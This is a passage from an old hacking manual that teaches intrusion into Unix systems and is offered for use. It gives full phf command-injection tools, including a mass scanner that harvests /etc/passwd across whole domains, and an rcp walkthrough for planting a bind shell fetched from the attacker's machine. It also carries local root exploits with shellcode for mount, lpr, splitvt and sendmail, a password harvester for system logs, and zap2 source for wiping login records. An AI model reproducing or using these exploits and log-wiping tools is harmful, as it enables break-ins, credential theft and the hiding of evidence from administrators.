 * this saves the time it usually takes to remember the syntatical format
 * of the exploit.  Because of the host lookup mess, this will take
 * approximately 12 seconds to execute with average network load.  Be patient.
 *
 */

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>

int main(argc, argv)
     int argc;
     char **argv;
{
     int i = 0, s, port, bytes = 128;
     char exploit[0xff], buffer[128], hostname[256], *command, j[2];
     struct sockaddr_in sin;
     struct hostent *he;

     if (argc != 3 && argc != 4) {
          fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
          exit(1);
     }

     command = (char *)malloc(strlen(argv[1]) * 2);

     while (argv[1][i] != '\0') {
          if (argv[1][i] == 32) strcat(command, "%20"); else {
               sprintf(j, "%c", argv[1][i]);
               strcat(command, j);
          }
          ++i;
     }

     strcpy(hostname, argv[2]);
     if (argc == 4) port = atoi(argv[3]); else port = 80;

     if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
          he = gethostbyname(hostname);
	  if (he) {
               sin.sin_family = he->h_addrtype;
               memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
                      he->h_length);
          } else {
               fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
               exit(1);
          }
     }
     sin.sin_family = AF_INET;
     sin.sin_port = htons((u_short) port);

     if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
          fprintf(stderr, "%s: could not get socket\n", argv[0]);
          exit(1);
     }

     if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
          close(s);
          fprintf(stderr, "%s: could not establish connection\n", argv[0]);
          exit(1);
     }

     sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
     free(command);
     write(s, exploit, strlen(exploit));
     while(bytes == 128) {
          bytes = read(s, buffer, 128);
          fprintf(stdout, buffer);
     }
     close(s);
}

-------- cut here

Here is how you use it:

bash% phf id xxx.org

------
<H1>Query Results</H1>
<P>
/usr/local/bin/ph -m  alias=X
id
<PRE>
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
</GET /cgi-bin/phf/?Qalias=X%0aid
------

The above was our response, remember to use the %codes after your command.
To cat the password file using this program you would type:

phf cat%20/etc/passwd hostname.xxx

Yet Another way to use phf was written by Quantumg on his web page, this is
new and just thought of, so I was sure to add this right into this manual
for you.

Here is the text:


New QG Phf Attack MO
--------------------

yerp.. I know it's a long time since phf has been considered a viable
attack but you'd be surprised just how many stupid linux operators there
are out there..

first.. a little background.

Phf is a cgi-bin executable found on apache web servers.  It is sploitable
and the result is you can execute commands on the web server as whoever
they're running httpd as, usually nobody but sometimes as root.  To sploit
it is simply a matter of connecting to the web server and giving the
query:

 	GET /cgi-bin/phf/?Qalias=X%0a

followed by the command you wish to execute with %20 used for spaces.  You
can do no piping, quotes, shell replacements, etc.

ok.. so on with the attack.  What we are going to do is go and look for a
linux box (I usually telnet to the box to see the issue.net) which has the
phf bug.  I, like a whole lot of other people, use the program phf 
loxsmith to exploit the phf bug.  All it does is connect to the host
specified in argv[2] and dump the query with argv[1] as the command.  It
is used as such:

	phf id www.host.to.hack

where id is the command you want to execute.  This is the first thing I'd
do.  Not only does it tell me if the box is sploitable, it also tells me
what they are running httpd as.  So, assuming we get back a nice response,
we have a box to hack.  The first problem is getting stuff onto the box to
execute.  It's not much of a problem.  You can 1 check for writable ftp
directory's or 2, and my personal favorite, use rcp.  To use rcp you need
to set up a few things on your machine (or better yet, a machine that you
hacked earlier).  The first of these things is an account that you can use
for the transfer.  Select something simple and unmemoriable.  I use the
username "test".  Next you need to put the name of the host you are
hacking (www.host.to.hack) in your /etc/hosts.equiv.  Then you need to
make sure you have a "shell" line in your /etc/inetd.conf and that you
have restarted inetd to read this line.  Finally you need to create a
.rhosts file in the test's homedir that has the name of the host you're
hacking followed by the username that httpd is running as.

/etc/hosts.equiv:
www.host.to.hack

/etc/inetd.conf:
shell   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd -L

~test/.rhosts:
www.host.to.hack nobody

ok.. so once you have all that set up you can get things onto the remote
host. 

What I used to do was transfer little hacks across that had been heavily
modified to work whilst being executed by phf.  It was not a pleasant
affair, nor very effective.  Now we have a solution.  What we send across
is a modified in.telnetd.  It has been modified to start up in "debug"
mode which makes it bind to a port (9999) and execute /bin/sh instead of
/bin/login.  It also forks before executing the shell which means it will
sit on port 9999 and accept as many connections as you want.  

So, to get this onto the remote host, all we have to do is put it in
test's homedir (make sure it's readable) and do:

 	phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack

in your local logs you will see a connection attempt to in.rshd and the
command it executes (something like 'rcp -f bindwarez').. after the phf
finishes bindwarez will be in the /tmp on the remote machine.  You can now
execute it and telnet to port 9999.  

If the web site was stupid enough to be running httpd as root you will now
want to secure it by installing an in.telnetd trojan and cleaning up the
logs.  However, more likely, you will only have a nobody shell and have to
hack root with some other sploit.  I usually find this no problem because
the admin has taken it as granted that no-one will ever have a shell on
their www box and thus there's no need to secure it - which they're
obviously not very good at if they still have sploitable phf.  

I cant stress the importance of cleaning out the logs tho.  Your address,
the one in the rcp command you sent, is right there for the admin to see.
They dont even have to dig.  These logs are usually in
/usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs.  The best
way to find it is to try these locations and then, if you still don't find
it, do: find / -name cgi-bin.  That'll do it.  Also don't forget to kill
the bindwarez processes and remove the /tmp/bindwarez.  

This is a really kewl attack.. it solves a lot of problems which makes phf
so annoying.  

L8s

QuantumG


Another way to use phf would be to use the perl script a few scripts above
called getdomain.pl to rip host names out of the domain files on
rs.internic.net, after this is done you can 'probe' every domain on the net
using geturl.pl.

Here is the script:

geturl.pl
--------- cut here

#!/usr/bin/perl -w
#
# geturl by Nfin8 / Invisible Evil
# Questions to: /msg i-e  or  /msg i^e
#
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
# Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
# IF result of first command returns an "id=" then check for user. If user
# is not root then execute the 2nd form.

# Assign null list to @URLs which will be added to later.
my(@URLs)=();
my($program) = "lynx -dump";

# Pull off filename from commandline. If it isn't defined, then assign default.
my($URLfilename) = shift;
$URLfilename = "urls" if !defined($URLfilename);

# Do checking on input.
die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
 
# Open and read contents of URL file into @URL by line.
open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
@URLs = <FILE>;
close(FILE);

# Open output file.
open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");

my($url)="";
foreach $url (@URLs) {
  print ("Now checking: $url");
  chomp($url);
  $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
  print OUTFILE ("\n============ $url ============\n");
  foreach (split(/\n/, $result)) {
    print OUTFILE ("$_\n");
  }
  if ($result =~ m/id=/i) {
    if ($result =~ m/root/i) {
      print ("Logging root response.\n");
    } else {
      print ("Got ID response, getting /etc/passwd...");
      $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
      
      # Output results to file named <domain>.passwd;
      local($domainfilename)="";
      $domainfilename = $url;
      if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
        print PASSWDFILE ("\n");
        foreach (split(/\n/, $result)) {
          print PASSWDFILE ("$_\n");
        }
        close(PASSWDFILE);
        print ("Done! [$domainfilename].\n");
      } else {
        print ("FAILED! [$domainfilename].\n");
      }
    }
  }
}
  
# We are done. Close the output file and end the program.
close (OUTFILE);


0;

------------- cut here

Ok this is easy, if you name your domain file urls, you are all set to go.
Just type geturl.pl after chmod +x on the file.

Here are my doc's for the file:

This handy tool is easy to use and will get you some root access and
many passwd files from different domains.

geturl.pl will try and log results for every domain on the internet.  You
choose the type: .COM .EDU .ORG .MIL .GOV  (OR) you can supply a list of
IP addresses to  be checked.  If  finds a root access account it
will simply log uid=root in the result file and go on to the next domain.
If PHF Probe finds non-root access it will snag the passwd file for you and
save it in the current directory in the (domainname.???.passwd) format.

Here are the short doc's and how it works.  Any questions /msg i-e or i^e

ftp to ftp.rs.internic.net

in the domain directory you will find:

com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz

download these files and run getdomain.pl on the domains you want to target
first, in this manor:  "perl getdomain.pl com.zone com >com.all"

What this will do is rip all of the .COM domains and put them into a file
called com.all.

If you wanted to do all of the .EDU addresses you would type:

perl getdomain.pl edu.zone edu >edu.all

Now you will have a list to use with (geturl.pl) called edu.all

To use this list just type:

geturl.pl <filename>

filename=edu.all or com.all  and leave out the <>'s
if you name your domain file 'urls' it does not require <filename>

results will log into a file name of: GetURLResults in the current directory.

1. geturl.pl will search using lynx (make sure it is in your path)

2. if geturl finds it has root access to httpd on a url it will just log
   root for that domain in the result file.  If geturl finds it is not root,
   but still has access to the domain using phf it will snatch the domain
   passwd file and save it in the current directory under fulldomainname.passwd

3. if you like you can just give a list of ip addresses in the feed file

4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
   with the long file names.  i have tested it under unix and it works good
   so you should have no problems running this in a unix shell.

What you need:

1. Perl in the path
2. Lynx in the path
3. 256 char filenames ie: (unix or os/2 hpfs)
4. The files included here
5. Internic's domain files from their ftp or just make your own list or
   urls or IP's and name the file 'urls' and type: geturl.pl

Caution:

It would be best if you paid cash for an internet account in your area under
another name or used a hacked account to get all of your results, then used
another safe account to start your work on the results.  BUT I don't need to
tell you this right?  I take no blame for these files, they are provided for
you to use to check security on domains ;)


 getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
    geturl.pl: to check and log the results of each domain
GetURLResults: The file that geturl makes as its log file

Here is one more thought:

If you can read the /var/adm/messages file you can get some user passwords
out of there lotz of times!  I have even got ROOT passwords from there!

Wow many times have you been in a hurry to login?  You type the password
at the Login:  his is easy to do on one of those days that nothing seems to
be going right.  You failed the login twice, the system is running slow, and it
just happens!

Login: you hit enter
Password: you think this is wanting the login name so you type your name
Login: you type your password

In the messages file it looks like this:

Login: yourpassword
Password ****** They don't give it, only the login name, but ooops, you
typed your password, and if we have access to read the messages file,
we have a good password to put in crackerjack and run it.  If on a small
system, no prob ... lets hope it's root ;)

Here is a script to make things easy!


FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
in the appendix uuencoded.

------------ cut here

#!/bin/sh
# Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
# /var/log/messages is world readable. If a user types in his password at
# the login prompt, it may get logged to /var/log/messages.
#
# I could swear this topic has been beaten to death, but I still see this
# problem on every linux box I have access to.
#
# Dave G.
# 12/06/96
# <daveg@escape.com>
# http://www.escape.com/~daveg

echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$

grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$

if [ ! -e ./scrack ]
then
   echo "Creating scrack.c"
   cat << ! > scrack.c
#include <stdio.h>
#include <unistd.h>
#include <pwd.h>
#include <sys/types.h>
#define get_salt( d, s ) strncpy( d, s, 2 )
void
main(argc,argv)
int argc;
char **argv;
{
   struct passwd *pwd;
   FILE *fp;
   char buff[80], salt[3], *encrypted_string;

   if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
   {
      fprintf( stderr, "Couldnt find dict file\n" );
      exit(1);
   }
   while ( fgets( buff, 80, fp ) != NULL )
   {
      setpwent();
      buff[strlen(buff)-1]='\0';
      while ( ( pwd = getpwent() ) != NULL )
      {
        if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
           ( strlen( (*pwd).pw_passwd ) == 13 ) )
        {
           get_salt(salt, (*pwd).pw_passwd );

           encrypted_string = crypt( buff, salt );
           if ( strcmp( encrypted_string, (*pwd).pw_passwd ) == 0 )
           {
             fprintf( stdout, "l: %s p: %s\n", (*pwd).pw_name, buff);
             fflush(stdout);
           }
         }
      }
   }
}
!
   echo "Creating scrack"
   cc -O6 -fomit-frame-pointer -s -o scrack scrack.c
fi

./scrack /tmp/messages.dict.$$

echo /tmp/messages.dict.$$, ./scrack, and ./scrack.c still exist, delete them yourself.

------ cut here

-----------------------
Section 3B
Newbe's
-----------------------

Yup, again, just another place to get password files.  Just follow the guide
lines in section 2B.  Use your sly ideas and get out there and make some
lame friends ;)

Remember you could have been a lammer before you read this manual <G>rin

-----------------------------
Section 3C
Getting shadow passwd files
-----------------------------

What is a shadow password file?

Lets just use the passwd file above to show you what it would look like to you
if you cat it.

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man:
postmaster:x:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:x:-2:100:nobody:/dev/null:
ftp:x:404:1::/home/ftp:/bin/bash
guest:x:405:100:guest:/dev/null:/dev/null
bhilton:x:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:x:502:100:Web Master:/home/web:/bin/bash
mary:x:503:100:Mary C. Hilton:/home/mary:/bin/bash

Something missing?  Yup, the encrypted passwords.  If you get root access the
encrypted passwords are in /etc/shadow.  Some admin's will hide the shadow file
in some weird directory somewhere, but most of the time you will find it right
in /etc.  Other shadow programs might put it in a master.passwd file.  But if
you get root just have a good look around.

Lets say you have an account on the machine and just can't get root access.

Not a problem if they are using libc 5.4.7, at this time most still are ;)
Also one of these files have to have suid perm's (no prob):

ping, traceroute, rlogin, or, ssh

1. Type bash or sh to start a bash shell
2. Type: export RESOLV_HOST_CONF=/etc/shadow
3. Type one of the file names above with asdf, like this:

ping asdf

It should cat the passwd shadow file for you if it works.
I seem to find it working on most of the systems i am going on these days.

Note: you can replace /etc/shadow with any root owned file you want to read.

Here is a quick script you can run on any file you want to make it easy:

rcb.c
-------- cut here

/* RCB Phraser - therapy in '96
 * Limits: Linux only, no binary files.
 * little personal message to the world: FUCK CENSORSHIP!
 */

#include <stdio.h>

void getjunk(const char *filetocat)
{ setenv("RESOLV_HOST_CONF",filetocat,1);
  system("ping xy 1> /dev/null 2> phrasing");
  unsetenv("RESOLV_HOST_CONF");
}

void main(argc,argv)
int argc; char **argv;
{ char buffer[200];
  char *gag;
  FILE *devel;
  
  if((argc==1) || !(strcmp(argv[1],"-h")) || !(strcmp(argv[1],"--help")))
  { printf("RCB Phraser - junked by THERAPY\n\n");
    printf("Usage: %s [NO OPTIONS] [FILE to cat]\n\n",argv[0]);
    exit(1);
  }
  getjunk(argv[1]);
  gag=buffer;
  gag+=10;
  devel=fopen("phrasing","rb");
  while(!feof(devel))
  { fgets(buffer,sizeof(buffer),devel);
    if(strlen(buffer)>24)
    { strcpy(buffer+strlen(buffer)-24,"\n");
      fputs(gag,stdout);
    }
  }
  fclose(devel);
  remove("phrasing");
}

-------------- cut here

command line : rcb /etc/shadow  or any other file on the system you
can't read ;)

--------------------
Section 3D
Getting /etc/hosts
--------------------

Just a precaution, sometimes you will need to know what other systems
are in the hosts file, or what are all of the ip addresses or different domains
on the system.  Make sure to cat the /etc/hosts file for more information
you might need later.

--------------------------
Chapter IV
Getting the root account
--------------------------
Like I said before all you need is one account in most cases, if you cannot get
root on the system you might want to trade it off to some irc junkie that
just wants to load a bot, for some other account or info that can help you in
your hacking quest.  There will be enough information here so that if you can't
get root access, their system is well kept and probably will be kept up in the
future.  You can always lay the account on the side, put the info in some kind
of log file with some good notes so that you can come back at a later time,
like right when a new exploit comes out ;)

Try to stay out of the system until that time so that you do not risk loosing
the account.  Remember that when you login to an account and can't get root
you will not be able to clean the logs, and the next time the user logs in he
might see a message that says: last login from xxx.com time:0:00 date:xx/xx/xx

------------
Section 4A
Bugs
------------

There are many bugs out there in different programs that you can use to get
root.  It might be a game installed on the system, or even the sendmail
program.  If they do not update their programs on a regular basis, you can
be sure you will be able to get in now, and if not, soon to come.

I will be sure to provide the main exploits and bugs here and other less
used below in the appendix section.  I will make sure here to give you detailed
english terms so that you can exploit root on the system.  But please be sure
to read the sections below, and this manual entirely before proceeding, to be
sure you get started in the right way and not blow you chances of having a
long stay on the system.

------------
Section 4B
Exploits
------------

umount/mount exploit

Look in the /bin directory for a file called umount (or mount),
if you do not find it there do a search for the file like this:

find / -name umount -print -xdev

(you can look for any other file name the same way)

Go to the directory where the file is and do: ls -al um*

If the file has suid perm's you can probably get root.

SUID perm's has the rws for the owner of the file which is root.  What you are
looking for is the (s)

Look here:

victim:/bin# ls -al um*
-rwsr-sr-x   1 root         8888 Mar 21  1995 umount
victim:/bin#

This machine we can get root by a compile on the file below:

umount.c
------ cut here

/* sno.c : Linux realpath exploit
 * Syntax: ./sno N
 *         mount $WOOT 
 *    OR  umount $WOOT
 * N is some number which seems to differ between 4 & 8, if your number is
 * too big, you will get a mount error, if it is too small, it will seg
 * fault.  Figure it out.  (Sometimes N=0 for mount)
 * If you use mount, first thing to do once you get the root shell is rm 
 * /etc/mtab~, if this file exists you can't root with mount until it is 
 * removed.
 * 
 *
 *                                          -ReDragon
 */
#define SIZE 1024

   long get_esp(void)
   {
   __asm__("movl %esp,%eax\n");
   }

   main(int argc, char **argv)
   {
   char env[SIZE+4+1]; /* 1024 buffer + 4 byte return address + null byte */
   int a,r;
   char *ptr;
   long *addr_ptr;
   char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
   char *exec_ptr = execshell;

   r=atoi(argv[1]);  
   ptr = env;
   memcpy(ptr,"WOOT=",5); /* set environment variable to use */
   ptr += 5;              

   for(a=0;a<SIZE+4-strlen(execshell)-r;a++)  /* pad front with NOPs */
      *(ptr++) = 0x90;
   while (*exec_ptr)
      *(ptr++) = *(exec_ptr++);
   addr_ptr = (long *)ptr;
   *(addr_ptr++) = get_esp()+1139;  /* 0xbffffc01 */

   ptr = (char *) addr_ptr;  
   *ptr = 0; /* must end with null byte to terminate string */
   putenv(env);
   system("/bin/mount $WOOT");
}

----------- cut here

**********************************
To compile the file on the victims machine type gcc umount.c (or what ever
name you called it) -o um

This will make a file called um that you can exec.  Sometimes you will need
to put a ./ in front of the file like this: ./um

With this exploit you might also have to give it a number like:
./um 0 (or) ./um 4 ....alltheway up to 8... like this again ./um 8


*************************************
If you fail here you might want to try lpr.  Look in the /usr/bin for lpr and
see if it is SUID, if it is lpr should work if it is up on the system.

ls -l lpr

Ok it had suid perm's?  Use this script

*************************************
lpr.linux.c
------------- cut here

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
                        "\xd7\xff\xff\xff/bin/sh";
   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
---------- cut here

***************************
Here is the BSD version
***************************

lpr.bsd.c
--------------------------------------------------------- cut here
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET          50
#define BUFFER_SIZE             1023

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

void main()
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] =
   "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
   "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
   "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
   "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";

   int i;

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i<2;i++)
      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);
}
--------- cut here

Now just compile it and chmod it +x, and run it.

Watch this one on the group file owner.  Any file you copy will have
group owner as lp, make sure you chgrp root filename on any file you
write.  Always be watching the user groups with ls -l and if you changed
any change them back like this:

chgrp groupname filename

It is a good idea to use this exploit ONLY to get the root access, then
just copy bash or sh to another file name on the system somewhere and make
it root root, suid:  Group owner and File owner root, then chmod it +s

This will give you root access in the future as gid and uid root, without using
the lp group.  Make sure you name it something that looks like it should be
running as a root process somewhere ;)

*****************
Here is another that is still around after a while, look for SUID perm's
on a file /usr/bin/splitvt

If it has suid perm's use this file below, but be sure to read the directions
after the exploit:
****************************************
sp.c
-------------------------------------------- cut here
/*
 *            Avalon Security Research
 *			    Release 1.3
 *			     (splitvt)
 *
 * Affected Program: splitvt(1)
 *
 * Affected Operating Systems: Linux 2-3.X
 *
 * Exploitation Result: Local users can obtain superuser privileges.
 *
 * Bug Synopsis: A stack overflow exists via user defined unbounds checked
 * user supplied data sent to a sprintf(). 
 *
 * Syntax: 
 * crimson~$ cc -o sp sp.c
 * crimson~$ sp
 * bash$ sp
 * bash$ splitvt
 * bash# whoami
 * root
 *
 * Credit: Full credit for this bug (both the research and the code)
 * goes to Dave G. & Vic M.  Any questions should be directed to
 * mcpheea@cadvision.com . 
 *
 * ----------------------------------------------------------------------------
 */


long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
  char eggplant[2048];
  int a;
  char *egg;
  long *egg2;
  char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  char *eggie = realegg;

  egg = eggplant;

  *(egg++) = 'H';
  *(egg++) = 'O';
  *(egg++) = 'M';
  *(egg++) = 'E';
  *(egg++) = '=';

  egg2 = (long *)egg;

  for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

  egg=(char *)egg2;

  for (a=0;a<0x40;a++) *(egg++) = 0x90;

  while (*eggie)
    *(egg++) = *(eggie++);
  *egg = 0; /* terminate eggplant! */

  putenv(eggplant);

  system("/bin/bash");
}

-------------- cut here

Ok this is how splitvt works:

1. Compile the file
2. Run the sp file
3. Run splitvt

Before you run the file:   whoami {press enter}
                           username
After you run the exploit: whoami
                           root

*******************************************************

Now if all of these have not got you root, try sm.sh.  This is a sendmail
bug that works with 8.73 to 8.83 (maybe some others)

Here is the script:

sm.sh
---------- cut here
echo   'main()                                                '>>smtpd.c
echo   '{                                                     '>>smtpd.c
echo   '  setuid(0); setgid(0);                               '>>smtpd.c
echo   '  system("cp /bin/sh /tmp;chmod a=rsx /tmp/sh");      '>>smtpd.c
echo   '}                                                     '>>smtpd.c
echo   'main()                                                '>>leshka.c
echo   '{                                                     '>>leshka.c
echo   '  execl("/usr/sbin/sendmail","/tmp/smtpd",0);         '>>leshka.c
echo   '}                                                     '>>leshka.c

cc -o leshka leshka.c;cc -o /tmp/smtpd smtpd.c
./leshka
kill -HUP `ps -ax|grep /tmp/smtpd|grep -v grep|tr -d ' '|tr -cs "[:digit:]" "\n"|head -n 1`
rm leshka.c leshka smtpd.c /tmp/smtpd
cd /tmp
sh
------------ cut here

Just chmod the file +x like this

chmod +x sm.sh

1. Run the file
2. It will take you to the /tmp directory
3. type ls -l and see if you have a SUID sh file there, if you do, type
   whoami, if not root, run the file ./sh, now see if you are root ;)

I will add many more scripts in the appendix, but these should be the best
at this time to get root access on linux or BSD, if you need another BSD
exploit try the crontab exploit for BSD in the appendix.
****************************************************************************

--------------------------
Chapter V
Making yourself invisible
--------------------------

The whole point of this hacking stuff is that you continue to have access to as
many points of information as possible.  If you do stupid things, of fail just
once to clean your utmp or wtmp, xferlog's, etc ... you can loose access to the
system.  Make yourself a regular order to follow and learn each system well!

Become part of the system, and take many notes if you are doing many systems
at once.  But remember make yourself a routine.  Have your set routine of
taking your time to clean any presence of your login, transfers, etc.  Do NOT fail
in this one thing or you will loose access and possibly face some sort of
charges.

----------------------------
Section 5A
Zap2 (for wtmp/lastlog/utmp)
----------------------------

There are different log cleaning programs out there, but the best of these
is zap2.  I compile mine to be named z2.

z2 will be run right after you get root access.  This will want to be one of
the fastest things you run.  (you never know)

You might want to do a finger @host.xxx to see who is on now, look at the idle
time of root or admin accounts to see if they are away doing something.

Login, and as soon as you get on, type w, to see idle time and who is on, but
at the same time you are looking at that be typing your root access command
that you should have waiting somewhere nested in the system.  As soon as you
get your root access, type ./z2 username-u-logged-in-as

Now you are safer then you were.  Do a w or who command to see that you are
gone from the utmp.  If you ftp, or do other things you might have to use
other programs I will include in the next section called wted and lled.

Lets finish with this z2 first.  You will have to see where each file is in
the system and edit z2.c to include the right location of these files

Here is the area you will look for right at the top of the file:

#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

Most of the systems I login to are:

#define WTMP_NAME "/var/adm/wtmp"
#define UTMP_NAME "/var/adm/utmp"
#define LASTLOG_NAME "/var/adm/lastlog"


But you do your own look around to see were the files are.  Also /var/log:
is a regular location.

Add the log locations for each system, compile the file, and you are all ready
to be invisible right after the login using z2

Here is the .c file

z2.c
--------------------------- cut here
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
 
int f;
 
void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;
 
  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}
 
void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;
 
    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {
 
     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}
 
void kill_lastlog(who)
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;
 
     if ((pwd=getpwnam(who))!=NULL) {
 
        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }
 
    } else printf("%s: ?\n",who);
}
 
main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
--------------------------- cut here

---------------
Section 5B
Other scripts
---------------

Now we come to the other part of this.  Lets say that after you login, and do
your z2, you need to ftp in to grab a file. (remember NEVER ftp or telnet out)
Ok, you ftp in and grab a few files, or login to another account on the system,
now you will need to use wted.  wted will let you edit the wtmp to remove your
login from the ftp.  You also might need to use the lled (lastlog edit).

Here is the menu if you type ./wted, after setting log locations & compile:

[8:25pm][/home/compile]wted
Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
